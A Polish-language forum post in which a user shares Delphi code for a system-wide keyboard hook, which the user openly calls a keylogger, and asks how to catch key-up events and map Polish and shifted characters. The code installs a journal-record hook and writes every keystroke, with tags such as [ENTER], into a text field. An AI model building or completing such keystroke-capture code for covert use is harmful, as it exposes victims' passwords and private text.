W ostatnim czasie zostalo postawione przedemna zadanie napisanie hooka na klawiature.
O ile na tym forum ten watek byl wielokrotnie powtarzany o tyle nigdy wlasciwie temat nie zostal rozwiazany do konca...
Otoz postawienie samego keylogera to nie problem...
Schody zaczynaja sie gdy dane gromadzone przez niego maja miec przejrzysta postac...
Klawisze funkcyjne... Shift itp da sie latwo przechwycic...
Ale zespolenie calego systemu by ten odroznial ąś ĆŹŻ !1 #$4 ,< w pewnym sensie wykracza poza moje mozliwosci.
Oczywistym faktem jest ze niekore klawisze takie jak enter najlepiej jak peda sygnaliozwane w nastepujacy sposob: [ENTER]...
A teraz do rzeczy...
Poradzilbym sobie z pelna realizacja problemu gdybym potrafil odebrac komunikat onkeyup z hooka...
By bardziej zaobrazowac zagadnienie zaprezentuje swoje dotychczasowe rozwiazanie...
procedure Text(T:String);
begin
Form1.Memo2.Text := Form1.Memo2.Text + T;
end;
procedure Key(A:TEventMsg);
begin
case A.paramh of
1 : Text('[ESCAPE]');
2 : Text('!');
3 : Text('@');
4 : Text('#');
5 : Text('$');
6 : Text('%');
7 : Text('^');
8 : Text('&');
9 : Text('*');
10: Text('(');
11: Text(')');
12: Text('-');
13: Text('+');
14: Text('[BACKSPACE]');
15: Text('[TAB]');
39: Text(':');
40: Text('"');
42: Text('[SHIFT]');
51: Text('<');
52: Text('>');
53: Text('?');
28: Text('[ENTER]') else
begin
Form1.Memo2.Text:=Form1.Memo2.Text+chr(A.paraml);
end;
end;
end;
function Play(Code: integer; wParam, lParam: Longint): Longint; stdcall;
begin
case Code of
HC_ACTION: begin
MessageBuffer:=PEventMsg(lParam)^;
if MessageBuffer.message=wm_KeyDown then begin
Key(MessageBuffer);
Result:=0;
end;
end;
else begin
Result := CallNextHookEx(Hook, Code, wParam, lParam);
end;
end;
end;
//podczepienie hooka
Hook:=SetWindowsHookEx(wh_journalrecord,play,HInstance,0);
//zwolnienie hooka
UnHookWindowsHookEx(Hook);
//zmienne dla hooka (globalne)
Hook:Integer;
MessageBuffer:TEventMsg;
Za wszelkie sugestie rozwoju-poprawy kodu bede wielce wdzieczny...
Pozdrawiam... Do uslysenia...
PS potrzebuje
case A.paramh of
1 : Text('[ESCAPE]'); //- identyfikacje numerow klawiszy, pod jakim ktory jest...
PS2
Poradzilem sobie z klawiszami nie wcisnietymi
if MessageBuffer.message=wm_KeyUp then begin